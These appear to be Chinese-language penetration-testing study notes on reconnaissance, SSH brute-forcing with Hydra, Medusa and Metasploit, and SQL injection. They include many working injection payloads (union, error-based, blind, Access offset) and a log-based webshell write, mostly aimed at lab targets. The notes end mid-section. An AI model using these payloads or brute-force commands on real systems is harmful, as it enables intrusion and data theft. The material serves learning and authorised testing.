[TOC]

信息收集

基本探测

  • DNS收集:A记录、CNAME、主机信息、邮箱
  • 敏感目录:后台目录、上传目录、phpinforobots.txt、网站压缩包、Mysql管理接口、安装页面
    • 御剑
  • 操作系统:WindowsLinux
    • 大小写敏感:Linux敏感,Windows不敏感
  • 数据库类型:Access、MySQL、MSSQL、Oracle、PostSQL、DB2
    • 端口服务对应
    • 搭建组合推算
      • Apache + PHP + MySQL
      • Tomcat + JSP
      • IIS + ASP/ASPX + Access/MSSQL
  • 搭建平台:Apache、Tomcat、IIS、Nginx
  • 脚本程序:PHP、JSP、ASP、ASPX、py
  • 其它信息:端口、子域、旁站、指纹、C段、CMS、WAF

    • Nmap:安全渗透最强大的开源端口扫描器,支持跨平台运行。

      nmap -sn 192.168.32.0   # 主机发现
      nmap -sn 192.168.32.0/24   # C段扫描
      nmap -sS -p1-1000 192.168.32.145  # 端口扫描
      nmap -sV 192.168.32.145  # 版本扫描
      nmap -O 192.168.32.145   # 系统扫描
      nmap -A 192.168.32.145   # 综合扫描
      
    • Zenmap

      # Intense scan
      nmap -T4 -A -v ip
      -T  # 设置速度等级,1~5,数字越大速度越快
      -A  # 综合扫描
      -v  # 输出扫描过程
      # Intense scan plus UDP
      nmap -sS -sU -T4 -A -v ip
      -sS  # TCP全连接扫描
      -sU  # UDP扫描
      # Intense scan,all TCP ports
      nmap -p 1-65535 -T4 -A -v ip
      -p  # 指定端口范围,默认扫描1000个端口
      # Intense scan no ping
      nmap -T4 -A -v -Pn ip
      -Pn  # 不做ping扫描,例如针对防火墙等安全产品
      # Ping scan
      nmap -sn ip
      nmap -sn -T4 -v ip
      -sn # 只做ping扫描,不做端口扫描
      # Quick scan
      nmap -T4 -F ip
      -F  # Fast模式,只扫描常见服务端口,比默认1000个端口还少
      # Quick scan plus
      nmap -sV -T4 -O -F --version-light ip
      -sV  # 扫描系统和服务版本
      -O   # 扫描操作系统版本
      # Quick traceroute
      nmap -sn --traceroute www.abc.com
      # Regular scan
      nmap www.abc.com
      # Slow comprehensive scan
      nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" www.abc.com
      
    • OpenVAS:开放式漏洞评估系统。一个用于评估目标漏洞的杰出框架,最常用的用途是检测目标网络或主机的安全性,其中的漏洞测试程序以插件形式存在。OpenVAS是基于B/S架构进行工作,用户通过浏览器或专用客户端程序来下达扫描任务,服务器端负责授权,执行扫描操作并返回扫描结果。 ```shell

      部署

      更换源

      $ vim /etc/apt/sources.list

      ======================================

      deb http://http.kali.org/kali kali-rolling main non-free contrib

      deb-src http://http.kali.org/kali kali-rolling main non-free contrib

      中科大

      deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

      ======================================

      升级Kali Liunx

      $ apt-get update $ apt-get dist-upgrade

      安装OpenVAS

      $ apt-get install openvas $ openvas-setup

      修改admin账号密码

      $ openvasmd —user=admin —new-password=admin

      启动

      启动OpenVAS

      $ openvas-start

      检查

      $ ss -tnlp # 检查端口 $ openvas-check-setup # 检查安装

      浏览器登录OpenVAS

      https://127.0.0.1:9392 # 注意是https,需要添加证书

      使用

  • 普通扫描:Scans->Tasks->Task Wizard
  • 高级扫描:Scans->Tasks->Advanced Task Wizard
  • 导出报告:Scans->Reports ```

    后台查找

  1. 默认后台:如adminadmin/login.aspmanagelogin.asp等常见后台
  2. 通过CMS识别查看网站是否使用CMS
  3. 工具扫描:御剑、wwwscan
  4. Google Hacking
  5. 查找是否含有robots.txt等敏感目录
  6. 查看网页中是否含有类似管理员登录的链接

    CDN绕过

  • CDN检测:站长工具-Ping检测
  • CDN获取真实IP:查询历史DNS记录
  • 查询子域名:查询不做CDN的子站点
  • 利用网站漏洞,实现服务器主动连接。如XSS盲打,命令执行反弹Shell,SSRF等
  • 服务器合法服务主动连接。如RSS订阅或部分网站的发送邮件,可通过邮件获取服务器真实IP
  • 国外主机访问域名

    其它站点

  • 分目录/端口站点:网站可能由多个CMS或框架组成,相当于渗透目标是多个。

    • 分目录:www.xxx.com/blog
    • 分端口:www.xxx.com:8080
  • 分域名站点:blogs.xxx.com
    • 分域名与主站可能同服务器或网段,对于域名渗透可以直接和主站联系。
  • 手机站点:wap.xxx.com
    • 不同于主站一套的移动应用程序
    • 直接调用主站的程序

      工具

      漏洞扫描

      AWVS

      AWVS是一款知名的Web网络漏洞扫描工具,它通过网络爬虫测试网站安全,检测流行的安全漏洞。从AWVS11开始,变成了网页端打开的形式,使用一个自定义的端口进行连接。

# 测试网站: http://testhtml5.vulnweb.com/
 1. 自动的客户端脚本分析器,允许对 Ajax 和 Web 2.0 应用程序进行安全性测试。
 2. 业内最先进且深入的 SQL 注入和跨站脚本测试
 3. 高级渗透测试工具,例如 HTTP Editor 和 HTTP Fuzzer
 4. 可视化宏记录器帮助您轻松测试 web 表格和受密码保护的区域
 5. 支持含有 CAPTHCA 的页面,单个开始指令和 Two Factor(双因素)验证机制
 6. 丰富的报告功能,包括 VISA PCI 依从性报告
 7. 高速的多线程扫描器轻松检索成千上万个页面
 8. 智能爬行程序检测 web 服务器类型和应用程序语言
 9. Acunetix 检索并分析网站,包括 flash 内容、SOAP 和 AJAX
 10. 端口扫描 web 服务器并对在服务器上运行的网络服务执行安全检查
 11. 可导出网站漏洞文件

AppScan

# 测试网站: demo.testfire.net
用户名: jsmith
密码: Demo1234

暴力破解

Hydra

Hydra是世界顶级密码暴力破解工具,支持几乎所有协议的在线密码破解,其密码能否被破解关键取决于字典是否足够强大,在网络安全渗透过程中是一款必备的测试工具。

语法参数
hydra [-l username | -L file]  [-p pwd | -P file]  [-C file] [ host | -M file] [-o file]
-l [TEXT]    # 登陆名
-L [FILE]    # 登陆名列表
-p [TEXT]    # 密码
-P [FILE]    # 密码列表
-M [FILE]    # 目标主机列表
-o [FILE]    # 输出发现的用户名和密码到指定文件
Exp:  
  hydra -l login_name -p pwd ftp://[192.168.0.0/24]/
  hydra -L login_list.txt -P pwd_list.txt -M targets.txt ssh
  hydra -l login_name -P pwd_list.txt  ftp://192.168.0.1
  hydra -L login_list.txt.txt -p pwd imap://192.168.0.1/PLAIN
  hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5

使用方法
$ hydra -l root -P pass.dic 192.168.0.1 ssh  # 指定用户破解

Medusa

Medusa是一个速度快,支持大规模并行,模块化,爆破登陆。可以同时对多个主机、用户或密码执行强力测试。Medusa和Hydra一样,同样属于在线密码破解工具。不同的是,Medusa较Hydra更稳定,但支持模块比Hydra少。

语法参数
medusa [-h host | -H file] [-u username | -U file] [-p password | -P file] [-C file] -M module [OPT]
-h [TEXT]    # 目标主机名称或IP
-H [FILE]    # 包含目标主机或者IP的文件
-u [TEXT]    # 用户名
-U [FILE]    # 用户名列表文件
-p [TEXT]    # 密码
-P [FILE]    # 密码列表文件
-C [FILE]    # 组合条目文件
-O [FILE]    # 日志文件
-e [n/s/ns]  # n代表空密码,s代表密码和用户名相同
-M [TEXT]    # 选择执行模块名
-d           # 显示所有模块
-n [NUM]     # 使用非默认的TCP端口
-s           # 使用SSL
-r [NUM]     # 重试间隔时间,默认为3秒
-t [NUM]     # 设定线程数
-T           # 同时测试的主机总数
-L           # 并行化,每个用户使用一个线程
-f           # 在任何主机上找到第一个用户名/密码后停止破解
-F           # 在任何主机上找到第一个有效的用户名/密码后停止
-q           # 显示模块的使用信息
-w [NUM]     # 错误调试级别(0~10)
-v [NUM]     # 详细级别(0~6)
-V           # 显示版本
-Z [TEXT]    # 继续上一次扫描

使用方法
$ medusa -M ssh -h 192.168.0.1 -u root -P pwd.txt

MSF

MSF(Metasploit Framework)是一个编写、测试和使用exploit代码的完善环境。这个环境为渗透测试,Shellcode编写和漏洞研究提供了一个可靠的平台。这个框架主要是由面向对象的Perl编程语言编写的,并带有由C、Python和汇编语言编写的可选组件。

SSH相关模块查询
$ msfconsole  # 进入MSF
msf > search ssh

SSH用户枚举模块
# 参数
   Name         Current Setting     Required(必填)
   ----         ---------------     --------
   CHECK_FALSE  false               no
   Proxies                          no
   RHOSTS                           yes
   RPORT        22                  yes
   THREADS      1                   yes
   THRESHOLD    10                  yes
   USERNAME                         no  # 用户名
   USER_FILE    /root/userlist.txt  no  # 用户名字典,和用户名2选1填写
# Exp
msf5 > use auxiliary/scanner/ssh/ssh_enumusers  # SSH用户枚举模块
msf5 auxiliary(scanner/ssh/ssh_enumusers) > show options  # 查看配置
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set rhosts 192.168.32.0/24  # 目标ip或网段
  >> rhost => 192.168.32.0/24
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /root/userlist.txt  # 用户名字典
  >> USER_FILE => /root/userlist.txt
msf5 auxiliary(scanner/ssh/ssh_enumusers) > run  # 启动

SSH登录模块
# 参数
   Name              Current Setting  Required(必填)
   ----              ---------------  --------
   BLANK_PASSWORDS   false            no 
   BRUTEFORCE_SPEED  5                yes
   DB_ALL_CREDS      false            no
   DB_ALL_PASS       false            no
   DB_ALL_USERS      false            no
   PASSWORD                           no  # 密码
   PASS_FILE                          no  # 密码字典文件
   RHOSTS                             yes
   RPORT             22               yes
   STOP_ON_SUCCESS   false            yes
   THREADS           1                yes
   USERNAME                           no
   USERPASS_FILE                      no
   USER_AS_PASS      false            no  # 用户名
   USER_FILE                          no  # 用户名字典
   VERBOSE           false            yes
# Exp
msf5 > use auxiliary/scanner/ssh/ssh_login  # 用户登录模块
msf5 auxiliary(scanner/ssh/ssh_login) > show options
msf5 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.32.145
msf5 auxiliary(scanner/ssh/ssh_login) > set USER_FILE /root/userlist.txt
msf5 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /root/passlist.txt
msf5 auxiliary(scanner/ssh/ssh_login) > run

其它模块
use auxiliary/scanner/ssh/ssh_version  # SSH版本模块

爆破防御

防御手段

0. 基于PAM实现登录限制 【推荐】
  PAM: Liunx下身份验证的第三方服务
  模块: pam_tally2.so
  功能: 登陆统计
  示例: 实现防止对sshd爆破
  $ vim /etc/pam.d/sshd
  >> auth required pam_tally2.so deny=2 even_deny_root root_unlock_time=60 unlock_time=30
  # 密码输入错误2次时(包含root用户),root用户60秒后解锁,其它用户30秒后解锁
1. 新建用户时,如无必要,可不给予可登录的shell 【推荐】
 $ useradd no_user -s /sbin/nologin
2. 密码复杂性 【推荐】
 字母大小写+数字+特殊字符+20位以上+定期更换
3. 修改默认端口
  $ vim /etc/ssh/sshd_config
  >> Port 54321
4. 限制登录的用户或组
  # PermitRootLogin yes
  AllowUsers user_abc user_xyz  # 指定用户user_abc和user_xyz可登陆
5. 禁用密码,改用公钥方式认证
  $ vim /etc/ssh/sshd_config
  >> PasswordAuthentication no
6. 使用sudo
7. 保护xshell防止导出会话文件 【小心】
8. GRUB加密 【针对本地破解】

其它

$ vim /etc/pam.d/sshd
auth sufficient pam_rootok.so  # 【危险】root用户任意密码连接ssh

搜索引擎

Google Hacking

  • site:搜索指定域名的网页内容,可以用来搜索子域名

    site:zhihu.com  # 搜索与 zhihu.com 相关的网页
    "Web安全" site:zhihu.com  # 搜索 zhihu.com 中跟Web安全相关的网页
    
  • filetype:搜索指定文件类型

    "Web安全" filetype:pdf  # 搜索与Web安全相关的PDF
    site:freebuf.com filetype:pdf  # 搜索指定网站中的指定类型文件
    
  • inurl:搜索url中存在特定关键字的网页,可用于搜寻有注入点的网站

    inurl:.php?id=  # 搜索网址中有"php?id="的网页
    inurl:.jsp?id=
    inurl:.asp?id=
    inurl:/admin/login.php
    inurl:login
    
  • intitle:搜索标题中存在特定关键字的网页

    intitle:"后台登录"  # 搜索网页标题是后台登录的页面
    intitle:"后台管理" filetype:php  # 搜索网页标题是后台管理的php页面
    intitle:index of "Parent Directory"
    intitle:index of "password"
    
  • intext:搜索正文中存在特定关键字的网页

    intext:"powered by wordpress"  # 搜索Wordpress制作的网址
    intext:"powered by *CMS"  # 搜索*CMS相关的页面
    
  • 其他符号

    -keyword   # 强制结果不要出现此关键字
    *keyword   # 模糊搜索,强制结果包含此关键字
    "keyword"  # 强制搜索结果出现此关键字
    

    Shodan Hacking

    Shodan被称为”最可怕的搜索引擎”。除了常见的Web服务器,还能扫描防火墙、路由器、交换机、摄像头、打印机等一切联网设备。

  • ip

    114.114.114.114
    
  • service/protocol

    http
    http country:"CN"
    http product:"Apache httpd"
    ssh
    ssh default password
    ssh default password country:"CN"
    
  • keyword:基于关键词搜索的思路是根据banner信息(设备指纹)来搜索

    "default password" country:"TH"
    FTP anon successful
    
  • country

    country:"cn"
    country:"us"
    
  • product

    product:"nginx"
    product:"Apache httpd"
    product:"Microsoft IIS httpd"
    product:"MySQL"
    
  • version

    product:MySQL version:"5.1.73"
    
  • hostname

    hostname:.org
    hostname:.edu
    
  • os

    os:"Windows Server 2008 R2"
    os:"Windows 7 or 8"
    os:"Linux 2.6.x"
    
  • net

    net:110.180.13.0/24
    200 ok net:110.180.13.0/24
    200 ok country:CN net:110.180.13.0/24
    
  • port

    port:22
    port:3389
    
  • 综合使用

    # 搜索日本区开启80端口的设备
    country:"JP" port:"80"
    country:"JP" port:"80" city:"Tokyo" product:"Apache httpd"  os:"Linux 3.x"
    country:"JP" port:"80" city:"Tokyo" product:"Apache httpd"  product:"Apache httpd" 
    # 搜索中国区使用Windows Server系统的设备
    country:"CN" os:"Windows Server 2008 R2"
    country:"CN" os:"Windows Server 2003" port:"445"
    

    Zoomeye Hacking

    ZoomEye是一个面向网络空间的搜索引擎,”国产的Shodan”,由知道创宇出品。

# Shift+/显示快捷帮助
### 设备 ###
app          # 组件名
ver          # 组件版本
country      # 国家或地区代码
city         # 城市名
port         # 端口
device       # 设备类型
os           # 操作系统
service      # 服务名
hostname     # 主机名
ip           # ip地址
cidr         # CIDR IP段,如 8.8.8.8/24
ssl          # SSL证书
title        # HTTP首页标题 
### 网站 ###
site        # 域名
os          # 操作系统
headers     # HTTP头
desc        # 首页描述信息
keyword     # 首页关键字
  • 综合案例
    # Apache httpd,版本2.2.16
    app:"Apache httpd"+ver:"2.2.16"
    

    SQL

    通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

SQL基础

注入本质

攻击的本质在于输入输出控制。

  • 什么是SQL注入
    • SQL注入漏洞的原理是由于开发者在编写操作数据库代码时,直接将外部可控的参数拼接到SQL语句中,没有经过任何过滤或过滤不严谨,导致攻击者可以使恶意语句在数据库引擎中执行
  • 将用户输入的数据当作SQL语句执行,有2个关键条件:

    1. 参数带入数据库查询
    2. 参数用户可控

      MySQL基本使用

      -- 登录Mysql
      -- $ mysql -u'数据库账号' -p'密码'
      $ mysql -u'root' -p'owasp'
      > use database_name;       -- 使用库
      > alter table table_name;  -- 使用表
      > select user()            -- 获得当前用户名
      > select databse()         -- 获得当前数据库名
      > select version()         -- 获得当前数据库版本
      > table_name='user_privileges'   -- 用户权限表
      > table_name='schema_privileges' -- 数据库库权限表
      

      数据库类型

  • 判断数据库类型

    and exists ( select * from msysobjects ) > 0    -- 存在则为Access
    and exists ( select * from sysobjects ) > 0     -- 存在则为SQLServer
    

    MySQL注入

    注入基础

    MySQL 5.0以上版本自带数据库information_schema,记录当前MySQL下所有数据库名、表名、列名。

  • information_schema提供了访问数据库元数据的方式,元数据包括数据库名、表名、字段数据类型、访问权限等信息。符号点.表示下一级

  • Information_schema.schemata:记录库名信息的表
    • schema_name:记录库名的字段
  • Information_schema.tables:记录表名信息的表
    • table_schema:记录库名的字段
    • table_name:记录表名的字段
  • Information_schema.columns:记录列名信息的表

    • table_schema:记录库名的字段
    • table_name:记录表名的字段
    • column_name:记录列名的字段
      -- 查询全部库 -> information_schema.schemata 表中的 schema_name 列
      select 1,schema_name from information_schema.schemata
      -- 查询指定库中的全部表
      select 1,table_name from information_schema.tables where table_schema="pikachu"
      -- 查询全部列 -> information_schema.columns 表中的 column_name 列
      select 1,column_name from information_schema.columns
      -- 查询数据库库名、表名 information_schema.tables --
      select distinct table_schema from information_schema.tables;  -- 列出所有库,等价于show databases
      select table_name from information_schema.tables where table_schema='table_name';  -- 列出指定库的所有表,等价于show tables;
      -- 查询数据库库名、表名、字段名 information_schema.columns --
      select column_name from information_schema.columns;  -- 列出所有表的所有字段
      select column_name from information_schema.columns where ;  -- 列出指定表的所有字段
      select column_name from information_schema.columns  where table_schema='database_name' and table_name='table_name';  -- 列出指定库指定表的所有字段
      order by x  -- 获取字段数
      version()   -- 版本信息
      database()  -- 数据库名
      user()      -- 数据库用户
      @@version_compile_os  -- 操作系统
      @@datadir -- 数据库存储目录
      @@secure_file_priv  -- 导入导出限制
      
      示例
      -- 获取web数据库下所有表名信息
      id=1 union select 1,table_name,3 from information_schema.tables where table_schema='web'
      -- 获取user表下的所有列名
      id=1 union select 1,column_name,3 from information_schema.columns where table_name='user'
      -- 上面语句查询某表所有列名时,可能会出现其它不属于该表中的列名
      -- 原因是该表名可能在其它数据库中存在,而查询时可能会匹配到其它数据库中同表名的列名信息
      -- 解决办法是添加一个条件,将范围限定在指定数据库下指定表中进行查询
      id=1 union select 1,column_name,3 from information_schema.columns where table_name='user' and table_schema='web';
      

      注入流程

      判断注入点
      and 1=1
      and 1=2
      
      判断字段数
      order by 1
      
      查询库名
      union select 1,2,database(),4
      -- 也可以查询其它信息
      user()      # 当前用户
      version()   # 当前版本
      database()  # 当前库名
      @@version_compile_os  # 操作系统
      
      爆表爆列
      -- 爆表用group_concat()函数,需将目标据库名转换为十六进制
      union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=[十六进制数据库名]
      -- 爆列,将目标表名转换为十六进制
      union select 1,group_concat(column_name)3,4 from information_schema.columns where table_name=[十六进制表名]
      

      文件操作

      -- 文件读写均需要输入绝对路径,
      -- 引号被过滤或闭合错误时,可将路径或写入的内容进行十六进制编码
      -- load_file('file_name')   读取函数
      select load_file('c:/file.txt');
      select load_file(0x633a2f66696c652e747874);
      -- into outfile 'file_name'  写入函数
      select '123' into outfile 'c:/file.txt';
      select 0x633a2f66696c652e747874 into outfile 'c:/file.txt';
      
      报错
  • 文件读取一直返回NULL

    • 原因:数据库用户权限不足,必须是root用户
  • 文件写入报错:The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

    • 原因:mysql文件的导入和导出路径有默认的设置,即 secure-file-priv,当传入的csv文件路径与默认的路径冲突时就会报错。
    • secure-file-priv的值有三种情况:
      • secure_file_priv=null,限制mysqld不允许导入导出
      • secure_file_priv=/path/ ,限制mysqld的导入导出只能发生在默认的/path/目录下
      • secure_file_priv='',不对mysqld的导入导出做限制

        注入拓展

        通过日志记录写入木马
        Mysql 5.0版本以上会创建日志文件,修改下面2个关于日志的全局变量,若对生成的日志有读写的权限也可以getshell
  • general log日志记录状态,当值为ON时,所执行的sql语句都会保存到general log file

  • general log file日志保存路径
    SHOW VARIABLES LIKE 'general%';   -- 查看日志状态
    SET GLOBAL general_log='on'        -- 开启日志记录
    SET GLOBAL general_log_file='/var/www/html/123.php'  -- 修改日志记录路径,路径不存在会报错
    
    修改日志路径后,可通过select '<?php phpinfo();?>'写入phpinfo,然后浏览器访问该文件查看是否成功写入
    PHP防注入
    ```php

    魔术引号

    magic_quotes_gpc = off # php.ini配置文件下,开启后会对用户输入中的单引号进行转义

    安全函数,与魔术引号具有相同功能

    $id = addslashes($_REQUEST[‘id’]); # php文件中将用户输入放于addslashes()函数内

    绕过

  • 编码绕过
  • 宽字节注入 ```

    跨库注入

    意义:网站A无注入点,网站B存在MySQL注入,且网站AB使用同一数据库。此时可利用网站B的注入点跨库查询获取网站A的数据。条件是网站B数据库用户权限为root

  • 获取所有数据库名

    id=1 union select 1,schema_name,3 from information_schema.schemata
    
  • 获取指定数据库pikachu下 表名

    id=1 union select 1,table_name,3 from information_schema.tables where table_schema='pikachu'
    
  • 获取指定表名users下的列名

    id=1 union select 1,column_name,2 from information_schema.columns where table_schema='pikachu' and table_name='users'
    
  • 获取指定数据

    id=1 union select 1,username,password from pikachu.users;  -- 查询pikachu数据库下的users表
    

    MSSQL注入

    注入流程

    测试靶场

  • 判断是否有注入

    and 1=1
    and 1=2
    
  • 判断是否MSSQL

    and user>0
    
  • 判断数据库系统

    and (select count(*) from sysobjects) > 0  -- 存在则为MSSQL
    and (select count(*) from msysobjects) > 0 -- 存在则为Access
    
  • 其它

    • 基本信息

      -- 获取数据库信息
      and 1=(select @@version)
      -- 获取当前数据库名称
      and 1=(select db_name())
      
    • 获取库名

      -- 获取第1个数据库名
      and 1=(select top 1 name from master..sysdatabases where dbid>4)
      -- 获取第2个数据库名
      and 1=(select top 1 name from master..sysdatabases where dbid>4 and name<>'第1个数据库名')
      -- 获取第3个数据库名
      and 1=(select top 1 name from master..sysdatabases where dbid>4 and name<>'第1个数据库名' and name<>'第2个数据库名')
      -- 以此类推,逐步添加 [and name <> '上一个库名'] 可逐个往下查询得到全部数据库
      
    • 获取表名

      -- 获取第1张表
      and 1=(select top 1 name from sysobjects where xtype='u')
      -- 获取第2张表
      and 1=(select top 1 name from sysobjects where xtype='u' and name <> '第1张表名')
      -- 获取第3张表
      and 1=(select top 1 name from sysobjects where xtype='u' and name <> '第1张表名' and name <> '第2张表名')
      -- 以此类推,逐步添加 [and name <> '上一张表名'] 可逐个往下查询得到全部表
      
    • 获取列名

      -- 获取第1列名
      and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='表名'))
      -- 获取第2列名
      and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='表名') and name <> '第1列名')
      -- 获取第3列名
      and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='表名') and name <> '第1列名' and name <> '第2列名')
      -- 以此类推,逐步添加 [and name <> '上一张列名'] 可逐个往下查询得到该表全部列名
      
    • 获取数据

      -- 获取第1个数据
      and 1=(select top 1 列名 from 表名)
      

      管理权限

  • SA权限:数据库操作、文件管理、命令执行、注册表读取

  • DB权限:数据库操作、文件管理
  • Public权限:数据库操作

    Access注入

    注入流程

  • 判断注入点

    '
    and 1=1 
    and 1=2
    or 1=1
    or 1=2
    
  • 判断数据库表

    and exists (select * from table_name)            -- 猜解表名
    and exists (select column_name from table_name)  -- 猜解列名
    
  • 猜解

    • 猜解字段长度

      and (select len(column_name) from table_name)=5      -- 返回正常则该字段名长度等于5,也可以使用大于/小于
      and (select len(admin) from admin)=5  -- 猜解admin字段长度
      
    • 猜解字段值:通过ASCII码判断来猜解字段值

      -- 猜解admin表中password字段第1个数据,以此类推
      and (select top 1 asc(mid(password, 1, 1)) from admin)=97  -- 同上,返回正常则等于
      -- 猜解第2个数据
      and (select top 1 asc(mid(password, 2, 1)) from admin)=97
      -- 猜解第3个数据
      and (select top 1 asc(mid(password, 2, 1)) from admin)=97
      

      偏移注入

      产生原因:主要是用来解决猜到表名,但猜不到列名的情况

  • order by猜出字段数

  • 用星号*代替字段,代入order by语句查询,得出星号等于多少个字符
  • order by字段数减去2倍或者3倍*代表的字符数量,最后代入语句

    -- X+(字段数-正常返回的数)*2=字段数,则在X=4后面使用以下语句
    union select 1,2,3,4,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
    --  Y+(字段数-正常返回的数)*3=字段数,则在Y=1后面使用以下语句
    union select 1,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
    

    例子:

  • 先猜解出该表的字段数和回显位。如order by10时正常

    ?id=1 union select 1,2,3,4,5,6,7,8,9,10 from admin
    
  • 使用*号从后往前逐个删除替代,直至返回页面正常为止。如这里是7正常,即说明*表示10-7=3个字符

    ?id=1 union select 1,2,3,4,5,6,7,8,9,* from admin
    ?id=1 union select 1,2,3,4,5,6,7,8,* from admin
    ?id=1 union select 1,2,3,4,5,6,7,* from admin   -- 假设此时返回正常
    
  • 代入计算公式

    -- 设字段数为10,在第7位返回正常
    -- 则 10-7=3
    -- 4+3*2=10, X+(字段数-正常返回的数)*2=字段数,则在X=4后面使用以下语句
    union select 1,2,3,4,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
    -- 1+3*3=10, Y+(字段数-正常返回的数)*3=字段数,则在Y=1后面使用以下语句
    union select 1,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
    

    跨库查询

    条件:同服务器下的站点存在注入点,知道目标站点数据库的绝对路径和数据库表,则可以通过跨库查询猜解表中的字段名

-- 绝对路径: D:\wwwroot\data.mdb
-- A是目标站点,B是存在注入的站点,AB处于同一服务器
-- admin是数据库中的表,user和password是admin表中的字段
?id=1 and 1=2 union select 1,2,user,4,5,6 from [D:\wwwroot\data.mdb].admin
?id=1 union select 1,2,user,password,5,6 from [D:\wwwroot\data.mdb].admin

报错注入

  • Insert/delete/update注入:一般存在于增删改用户信息的地方。
  • HTTP Header注入:有时候后台需要通过HTTP Header头获取客户端的一些信息,如UserAgentAccept字段等,会对客户端的HTTP Header信息进行获取并使用SQL进行处理,可能会导致基于HTTP Header的SQL注入漏洞

    基础

  • 条件:后台没有屏蔽数据库报错信息,在语法发生错误时会输出到前端

  • 思路:在MySQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。select/insert/update/delete都可以使用报错来获取信息
  • 常用函数:updatexml(XML_Document, XPath_String, New_Value)
    • XML_Document,表中字段名
    • XPath_String,XPath格式的字符串
    • New_Value,替换的值
  • 此函数的作用是改变(查找并替换)XML文档中符合条件的节点的值。其中XPath定位参数必须是有效的,否则会发生错误。这里是思路是将查询表达式放在该参数中,查询结果会跟着报错信息一并返回。
  • 其它函数:ExtractValue((XML_Document, XPath_String)

    实战演示

  • 这里利用Pikachu靶场字符型注入(GET)进行演示。随便输入一个单引号',可以看到返回报错信息,尝试报错注入

  • 构造Payload

    ' and updatexml(1, version(), 0) #
    
  • 此处结果为XPATH syntax error: '.53',可以看到返回的版本号显示不全,需要利用concat()函数

  • concat()函数可以把传进去的2个参数组合成一个完整的字符串并返回,同时也可以执行表达式,可以把参数和表达式执行的结果进行拼接并返回。0x7e~的十六进制,可以防止返回的查询结果被截断。

    ' and updatexml(1, concat(0x7e, version()) ,3) #
    
  • 此时返回的结果是XPATH syntax error: '~5.5.53'

  • 报错只能显示一行。假如执行以下语句获取表名,则会报错:Subquery returns more than 1 row

    ' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema="pikachu" )) ,0) #
    
  • 可以通过limit来操作返回的数量。limit 0,1为从第0个开始取,取1条

    ' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema="pikachu" limit 0,1)) ,3) #
    ......
    ' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema="pikachu" limit 4,1)) ,3) #
    
  • 后面获取列名也是一样

    ' and updatexml(1,concat(0x7e, (select column_name from information_schema.columns where table_schema="pikachu" and table_name="users" limit 0,1)),3) #
    ......
    ' and updatexml(1,concat(0x7e, (select column_name from information_schema.columns where table_schema="pikachu" and table_name="users" limit 3,1)),3) #
    
  • 最后获取数据

    ' and  updatexml(1,concat(0x7e, (select username from users limit 0,1)),3) #
    ' and  updatexml(1,concat(0x7e, (select password from users limit 0,1)),3) #
    

    盲注

  • 普通联合注入和盲注的区别

    • 普通注入效率高、兼容性差
    • 盲注效率低、兼容性强

      布尔盲注

      很多时候网站会对这些报错信息进行屏蔽,或者经过处理后返回一些标准的信息,此时无法根据报错信息进行注入的判断。而这里的布尔盲注是通过对比网站对于”真”和”假”的返回结果,从而构造SQL查询语句,并根据网站返回结果来判断该语句的结果为真还是假。
  • 此处使用Pikachu靶场中的布尔注入漏洞,当输入为真,即该用户存在时,返回用户信息。用户不存在或者语句为假时返回该username不存在,并且已知kobe这个用户存在。因此可以构造语句如下:

    kobe' and length(database())>6 #
    kobe' and length(database())>7 #
    
  • 使用length()函数来获取当前数据库名的长度并进行比较,在>6时返回用户信息,即证明为真;>7时返回username不存在,即为假。由此可判断该数据库的长度为7

  • 继续构造语句来猜解库名

    kobe' and ascii(substr(database(),1,1))>111 #
    kobe' and ascii(substr(database(),1,1))>112 #  =>p
    ...
    kobe' and ascii(substr(database(),7,1))>116#
    kobe' and ascii(substr(database(),7,1))>117#  =>u
    
  • 此处substr(database(),1,1))为从database()返回的数据库名中的第1位开始取值,取1位。并通过ascii()函数转换为ASCII码,将其分别与111和112进行比较。当该ASCII码>111时返回真,>112时返回假。由此可知该ASCII码为112,即p。以此类推,可以猜解出各个位置的字母,组合得到库名pikachu

    时间盲注

  • 主要函数

    • sleep(n),延迟n秒执行

      select * from user where id=1 and sleep(1);
      
    • if (条件, True, False),当条件成立返回第2个参数,否则返回第3个参数

      select if(1=2, 'a', 'b');
      
    • length(),获取长度

    • mid(str, 1, 2),从第1位开始截取字符串,截取2个

      select mid('abcdef', 1, 2);
      
    • ordASCII编码

      猜解库名

      -- 猜解库名长度,相等则返回0即sleep(0),否则sleep(5)
      -- select sleep(if((select length(database())=4), 0, 2));
      ?id=1 and select sleep(if((select length(database())=3), 0, 2));
      -- 猜解库名
      -- select sleep(if((select database()='user'), 0, 3));
      ?id=1 and sleep(if((select database()='user'), 0, 3))  
      ?id=1 and select sleep(if((select database()='dvwa'), 0, 3));
      

      猜解表名

  • limit n-1,n查询第n个表

  • mid(table_name,x,1)查询表中第x位的值

    -- 猜解第1个表名长度
    ?id=1 union select 1,2,3,sleep(if(length(table_name)=4, 0, 3)) from information_schema.tables where table_schema=database() limit 0,1
    -- 猜解第2个表名长度
    ?id=1 union select 1,2,3,sleep(if(length(table_name)=4, 0, 3)) from information_schema.tables where table_schema=database() limit 1,2
    -- 猜解表名第1位
